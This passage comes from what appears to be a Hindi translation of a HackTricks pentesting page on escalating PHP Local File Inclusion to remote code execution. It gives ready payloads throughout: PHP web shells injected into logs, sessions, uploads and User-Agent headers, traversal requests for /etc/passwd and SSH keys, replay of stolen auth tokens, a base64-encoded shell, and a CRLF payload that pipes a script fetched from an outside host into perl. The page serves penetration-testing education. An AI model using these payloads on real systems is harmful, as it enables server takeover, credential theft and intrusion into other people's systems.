ध्यान दें कि यदि आप double quotes का उपयोग करते हैं shell के लिए simple quotes की बजाय, तो double quotes string “quote;” में परिवर्तित कर दिए जाएंगे, PHP वहाँ एक error फेंकेगा और कुछ भी execute नहीं होगा

साथ ही, सुनिश्चित करें कि आप payload को सही तरीके से लिखें वरना PHP हर बार जब यह लॉग फाइल लोड करने की कोशिश करेगा error देगा और आपको दूसरी कोई मौका नहीं मिलेगा।

यह अन्य logs में भी किया जा सकता है पर सावधान रहें, logs के अंदर का कोड URL encoded हो सकता है और इससे Shell नष्ट हो सकता है। header authorisation “basic” में “user:password” Base64 में होता है और यह logs के अंदर decode होता है। PHPShell को इस header के अंदर insert किया जा सकता है.
अन्य संभावित लॉग पथ:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

एक्सेस लॉग पढ़कर GET-based auth tokens (token replay) हासिल करें

कई apps गलती से session/auth tokens को GET के माध्यम से स्वीकार कर लेते हैं (उदा., AuthenticationToken, token, sid)। यदि आपके पास web server logs में path traversal/LFI primitive है, तो आप access logs से उन tokens चुरा कर उन्हें replay करके authentication को पूरी तरह bypass कर सकते हैं।

कैसे करें:

  • traversal/LFI का उपयोग करके web server access log पढ़ें। सामान्य स्थान:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • कुछ endpoints file reads को Base64-encoded तरीके से वापस करते हैं। यदि ऐसा है, तो लोकली decode करें और log lines का निरीक्षण करें।
  • Grep करके उन GET requests को ढूंढें जिनमें token parameter शामिल हो और उसके value को capture करें, फिर उसे application entry point पर replay करें।

उदाहरण फ्लो (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

यदि बॉडी Base64 में है तो उसे डिकोड करें, फिर कैप्चर किए गए token को replay करें:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

नोट्स:

  • Tokens in URLs are logged by default; कभी भी production systems में GET के जरिए bearer tokens स्वीकार न करें।
  • यदि app multiple token names को सपोर्ट करता है, तो common keys जैसे AuthenticationToken, token, sid, access_token खोजें।
  • Rotate any tokens that may have leaked to logs.

ईमेल के माध्यम से

Send a mail to a internal account (user@localhost) containing your PHP payload like <?php echo system($_REQUEST["cmd"]); ?> and try to include to the mail of the user with a path like /var/mail/<USERNAME> or /var/spool/mail/<USERNAME>

/proc/*/fd/* के जरिए

  1. Upload a lot of shells (for example : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

/proc/self/environ के जरिए

लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

यदि आप एक file upload कर सकते हैं, तो बस उसमें shell payload inject कर दें (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

फाइल को पढ़ने योग्य बनाए रखने के लिए, pictures/doc/pdf के metadata में inject करना सबसे अच्छा है।

Zip file upload के माध्यम से

ZIP फ़ाइल अपलोड करें जिसमें एक compressed PHP shell शामिल हो और उसे एक्सेस करें:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

के माध्यम से PHP sessions

जाँचें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये sessions /var/lib/php5/sess\[PHPSESSID]_ फाइलों में स्टोर होते हैं

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie को सेट करें: <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI का उपयोग करके PHP session file को include करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh के जरिए

यदि ssh सक्रिय है तो देखें कि कौन सा उपयोगकर्ता उपयोग में है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुँचने का प्रयास करें।

के जरिए vsftpd लॉग्स

FTP सर्वर vsftpd के लॉग /var/log/vsftpd.log में स्थित हैं। यदि Local File Inclusion (LFI) vulnerability मौजूद है, और एक्सपोज्ड vsftpd server तक पहुँच संभव है, तो निम्नलिखित कदम विचार किए जा सकते हैं:

  1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload इंजेक्ट करें।
  2. इंजेक्शन के बाद, LFI का उपयोग करके /var/log/vsftpd.log से server logs प्राप्त करें।

php base64 filter (using base64) के जरिए

As shown in this article, PHP base64 filter बस Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension चेक को bypass करने के लिए कर सकते हैं: अगर आप ऐसा base64 दें जो “.php” पर समाप्त होता है, तो यह “.” को अनदेखा कर देगा और base64 में “php” जोड़ देगा। यहाँ एक example payload है:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters के माध्यम से (no file needed)

This writeup बताता है कि आप php filters to generate arbitrary content का उपयोग करके आउटपुट बना सकते हैं। जिसका मूलतः अर्थ यह है कि आप include के लिए generate arbitrary php code बना सकते हैं without needing to write उसे किसी फाइल में।

LFI2RCE via PHP Filters

segmentation fault के जरिए

Upload करें एक फ़ाइल जो /tmp में temporary के रूप में स्टोर होगी, फिर उसी same request, में एक segmentation fault ट्रिगर करें, और तब वह temporary file won’t be deleted और आप उसे खोज सकते हैं।

LFI2RCE via Segmentation Fault

Nginx temp file storage के माध्यम से

अगर आपको Local File Inclusion मिला है और Nginx PHP के सामने चल रहा है तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS के जरिए

अगर आपको Local File Inclusion मिला है भले ही आप don’t have a session और session.auto_start Off है। अगर आप PHP_SESSION_UPLOAD_PROGRESS को multipart POST डेटा में भेजते हैं, तो PHP आपके लिए session को enable the session for you कर देगा। आप इसे RCE के लिए abuse कर सकते हैं:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows में temp file uploads के जरिए

अगर आपको Local File Inclusion मिला है और सर्वर Windows पर चल रहा है तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE Via temp file uploads

pearcmd.php + URL args के जरिए

As explained in this post, स्क्रिप्ट /usr/local/lib/phppearcmd.php php docker images में डिफ़ॉल्ट रूप से मौजूद रहती है। इसके अलावा, स्क्रिप्ट को URL के माध्यम से arguments पास करना संभव है क्योंकि संकेत दिया गया है कि अगर किसी URL param में = नहीं है, तो उसे एक argument के रूप में उपयोग किया जाना चाहिए। देखें भी watchTowr’s write-up और Orange Tsai’s “Confusion Attacks”

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (from here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() के जरिए (file_uploads = on)

अगर आपको Local File Inclusion मिला है और कोई फाइल phpinfo() दिखा रही है और file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure के जरिए

अगर आपको Local File Inclusion मिला है और आप temp फाइल का path exfiltrate कर सकते हैं पर server यह check कर रहा है कि include की जाने वाली फाइल में PHP marks हैं या नहीं, तो आप इस Race Condition के साथ उस check को bypass करने की कोशिश कर सकते हैं:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce के जरिए

अगर आप LFI का दुरुपयोग करके temporary files upload कर सकते हैं और सर्वर पर PHP execution को hang करवा सकते हैं, तो आप घंटों तक filenames को brute force करके temporary file ढूंढ सकते हैं:

LFI2RCE via Eternal waiting

Fatal Error तक

यदि आप किसी भी फाइल को include करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (आपको वही वाला 2 बार include करना होगा ताकि वह error फेंके).

मुझे नहीं पता यह किस तरह उपयोगी है पर शायद उपयोगी हो सकता है।
यहाँ तक कि अगर आप PHP Fatal Error पैदा कर दें, तो PHP द्वारा upload की गई temporary files delete हो जाती हैं.

क्लाइंट से traversal sequences को बरकरार रखें

कुछ HTTP clients ../ को normalize या collapse कर देते हैं इससे पहले कि request server तक पहुंचे, और इससे directory traversal payloads टूट जाते हैं। log/download endpoints का दुरुपयोग करते समय जो user-controlled filename को concatenate करते हैं, traversal को बिना बदले रखने के लिए curl --path-as-is का उपयोग करें, और pseudo-files जैसे /proc के लिए --ignore-content-length जोड़ें:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

इरादे वाली निर्देशिका से बाहर निकलने तक ../ के खंडों की संख्या समायोजित करें, फिर /etc/passwd, /proc/self/cwd/app.py, या अन्य source/config फ़ाइलों को dump करें।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें